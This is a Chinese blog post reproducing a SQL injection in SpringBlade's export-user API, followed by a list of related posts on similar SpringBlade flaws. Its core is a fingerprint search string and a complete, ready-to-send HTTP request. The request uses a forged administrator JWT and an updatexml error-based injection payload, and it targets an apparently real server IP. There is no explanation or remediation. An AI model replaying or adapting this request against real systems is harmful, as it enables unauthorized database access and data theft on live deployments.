SpringBlade export-user SQL 注入漏洞

最新推荐文章于 2024-04-22 00:15:00 发布
最新推荐文章于 2024-04-22 00:15:00 发布
阅读量513 收藏 8
点赞数 6
分类专栏： 漏洞复现 文章标签： sql 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/waxcj/article/details/135692949
版权

指纹特征

body="https://bladex.vip"

漏洞复现

GET /api/blade-user/export-user?Blade-Auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.UHWWVEc6oi6Z6_AC5_WcRrKS9fB3aYH7XZxL9_xH-yIoUNeBrFoylXjGEwRY3Dv7GJeFnl5ppu8eOS3YYFqdeQ&account=&realName=&1-updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1 HTTP/1.1
Host: 120.77.3.193:8069
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

在这里插入图片描述

LZsec
关注
  • 6
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【漏洞复现】SpringBlade export-user接口存在SQL注入漏洞
失心少年
02-05 771
SpringBlade 是一个由商业级项目升级优化而来的微服务架构 采用Spring Boot 2.7 、Spring Cloud 2021 等核心技术构建，完全遵循阿里巴巴编码规范。技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！
spring框架漏洞整理(Spring Boot Actuator命令执行漏洞)
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
11-01 949
spring框架漏洞整理之CNVD-2019-11630 Spring Boot Actuator命令执行漏洞 https://www.veracode.com/blog/research/exploiting-spring-boot-actuators# 这个漏洞并不像是单一的问题产生，更像是一个渗透入侵的过程。有大概5个值得在意的知识点 1、Spring Boot 1-1.4，无需身份验证即可访问以下敏感路径，而在 2.x 中，存在于 /actuator 路径下。 /dump-显示线程转储（包括堆栈跟踪
JWT认证漏洞总结
渗透测试研究中心
09-16 2588
通过对众多靶场案例漏洞测试，其中弱密钥、密钥泄露、不校验签名、信息泄露这些问题出现的居多，像更改 Header 不使用签名，暂时在实际生产环境中没遇到过。测试方面遇到 JWT可利用 jwt-tools 工具进行测试，将所有已知漏洞都测试一遍，避免遗漏。密钥。
SpringBlade 后台框架 /api/blade-system/dict-biz/list 存在SQL注入漏洞
最新发布
wan___she__pi的博客
04-22 446
SpringBlade 是一个由商业级项目升级优化而来的 SpringCloud 分布式微服务架构，采用Spring Boot 2.5 、Spring Cloud 2020 等核心技术构建。SpringBlade 后台框架 /api/blade-system/dict-biz/list 路径存在SQL注入漏洞。
【SpringBlade-权限缺陷】API鉴权逻辑缺陷漏洞
06-29 6782
【API鉴权】
【复现】SpringBlade SQL 注入漏洞_22
fushuang333的博客
01-18 2199
【复现】SpringBlade SQL 注入漏洞，SpringBlade 是由一个商业级项目升级优化而来的SpringCloud微服务架构，采用Java8 API重构了业务代码，完全遵循阿里巴巴编码规范。
【漏洞复现】SpringBlade error/list SQL 注入漏洞
weixin_52204925的博客
03-13 1571
SpringBlade 框架后台 /api/blade-log/error/list路径存在SQL注入漏洞，攻击者可以利用 SQL 注入漏洞获取数据库中的信息（管理员后台密码、站点的用户个人信息），还可以在拥有高权限的情况下向服务器写入木马文件，造成服务器失陷。
export-data-sql_export-data_
09-29
export data sql to exce
excel-spring-boot-starter：阿里巴巴Easyexcel Spring Boot Starter
02-05
EasyExcel EasyExcel是一个基于Java的简单，省内存的读写... ，当然还有急速模式能恢复，但是内存占用会在100M多一点Spring Boot Stater依赖方便在web环境下使用easyexcel ，已上传至maven仓库< dependency> < groupId>...
js-export-csv:js-export-csv
03-25
js-export-csv 在浏览器中快速简单地导出为CSV。安装 npm install js-export-csv例子 import exportCSV from "js-export-csv"const data = [ ... Array ( 100 ) ] . map ( ( item ) => { return { name : "name" + ...
export-protelpcb.zip
06-04
eagle的brd文件转成protel的pcb文件，eagle插件ulp。 资源固定5积分。
js-export-excel:json导出excel（纯js 支持中文） ES6 module
05-02
js-export-excel 纯 js 导出 excel tip Bug please mention on download npm install js-export-excel or yarn add js-export-excel documentation // 直接导出文件 const ExportJsonExcel = require("js-export-...
【漏洞复现】SpringBlade export-user接口SQL注入漏洞
做自己喜欢的事，并将其发挥到极致！
01-22 1139
SpringBlade 是一个由商业级项目升级优化而来的微服务架构 采用Spring Boot 2.7 、Spring Cloud 2021 等核心技术构建，完全遵循阿里巴巴编码规范。提供基于React和Vue的两个前端框架用于快速搭建企业级的SaaS多租户微服务平台。
漏洞介绍及修复建议（漏洞汇总，建议收藏后期会不断更新）
Alone hackers的博客
03-07 6864
漏洞介绍及修复建议（漏洞汇总，建议收藏后期会不断更新）
【漏洞复现】SpringBlade error_list SQL 注入漏洞
https://blog.echo234.cn/
03-26 456
​ SpringBlade 是一个由商业级项目升级优化而来的 SpringCloud 分布式微服务架构、SpringBoot 单体式微服务架构并存的综合型项目。框架后台/api/blade-log/error/list路径存在安全漏洞，攻击者利用该漏洞进行SQL注入攻击。
SpringBlade dict-biz/list SQL 注入漏洞复现
0xSec
04-16 1225
​SpringBlade 后台框架/api/blade-system/dict-biz/list 路径存在SQL注入漏洞，攻击者除了可以利用SQL注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
转载：SpringBlade框架JWT认证缺陷漏洞CVE-2021-44910
HRay's blog
01-29 6822
SpringBlade框架JWT认证缺陷漏洞CVE-2021-44910
PHP接口数据安全解决方案（二）
热门推荐
withoutfear的博客
10-08 1万+
前言 实例演示token签名并创建token 解析token并校验token合法性 类库封装管理jwt实例 前言 JWT是什么 JWT是json web token缩写。它将用户信息加密到token里，服务器不保存任何用户信息。服务器通过使用保存的密钥验证token的正确性，只要正确即通过验证。基于token的身份验证可以替代传统的cookie+session身份验证方法。 它定义了一种用于简洁，自包含的用于通信双方之间以 JSON 对象的形式安全传递信息的方法。JWT 可以使用 HMAC 算法或者
js-export-excel
07-01
### 回答1： js-export-excel是一个JavaScript库，用于在网页中导出Excel文件。 这个库提供了一个简单易于使用的方法，可以将表格或数据导出为Excel文件。我们只需要在网页中引入这个库，并调用相应的方法，就可以实现导出Excel的功能。 使用js-export-excel的好处是，它支持多种数据格式的导出，包括纯文本、表格、图像等。我们可以根据具体的需求选择合适的导出格式。 另外，这个库还提供了一些定制化的选项，可以设置Excel文件的名称、文件格式、样式等。我们可以通过这些选项来控制导出文件的外观和功能。 使用js-export-excel并不复杂。我们只需要在需要导出Excel的地方执行相应的代码，就可以将数据导出为Excel文件。这对于需要频繁导出数据的网站或应用程序来说，非常方便。 总之，js-export-excel是一个非常实用的JavaScript库，可以帮助我们在网页中实现导出Excel的功能。无论是导出表格、文本还是图像，都可以通过这个库来实现。而且，它的使用非常简单，只需要引入库文件并调用相应的方法即可。 ### 回答2： js-export-excel是一个用于在前端网页中导出Excel文件的JavaScript库。它提供了一种简单方便的方法，让开发人员能够将数据导出为Excel文件，从而方便地进行数据分析和报表生成等工作。 它的使用非常简单，只需在前端页面引入相关的JavaScript文件，并在需要导出Excel的地方调用对应的函数即可。通过传递需要导出的数据和文件名等参数，js-export-excel会自动将数据转换为Excel文件，并提供下载链接。 此外，js-export-excel还支持一些可选参数，比如设置Excel文件的表头、内容样式、日期格式等。这些参数可以根据实际需求进行调整，使导出的Excel文件更符合个性化的需求。 js-export-excel的主要优点是简单易用，无需后端服务的支持，可以直接在前端实现数据导出功能。它支持大部分现代浏览器，并且具备良好的兼容性。 然而，需要注意的是，js-export-excel只适用于将前端页面中的记录导出为Excel文件，并不支持对已有Excel文件的编辑和操作。如果需要在前端页面中对Excel文件进行更复杂的操作，可能需要其他更专业的JavaScript库或后端服务的支持。 ### 回答3： js-export-excel是一种用于在JavaScript中导出Excel文件的库。它提供了一种简单的方式来生成包含表格数据的Excel文件，并且可以通过浏览器直接下载。 使用js-export-excel，我们可以通过以下几个步骤来导出Excel文件： 1. 引入js-export-excel库：我们需要将js-export-excel库的脚本文件引入到我们的HTML页面中，可以通过CDN链接或者下载本地文件进行引入。 2. 创建Excel数据：我们需要定义一个包含要导出的表格数据的数组。每个数组元素表示一行数据，每个元素的属性表示行中的列数据。 3. 配置Excel表格：我们可以定义一些表格的展示配置，例如表头样式、单元格样式等，以及一些相关的选项，如是否显示边框、是否冻结表头等。 4. 导出Excel文件：使用js-export-excel提供的方法，我们可以将表格数据和配置传入，然后生成Excel文件并以文件形式下载到浏览器。 js-export-excel是一个功能强大且易于使用的库，它使得在前端开发中导出Excel文件变得简单和便捷。无论是用于数据报表、数据导出还是数据备份等需求，都可以利用js-export-excel来实现。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值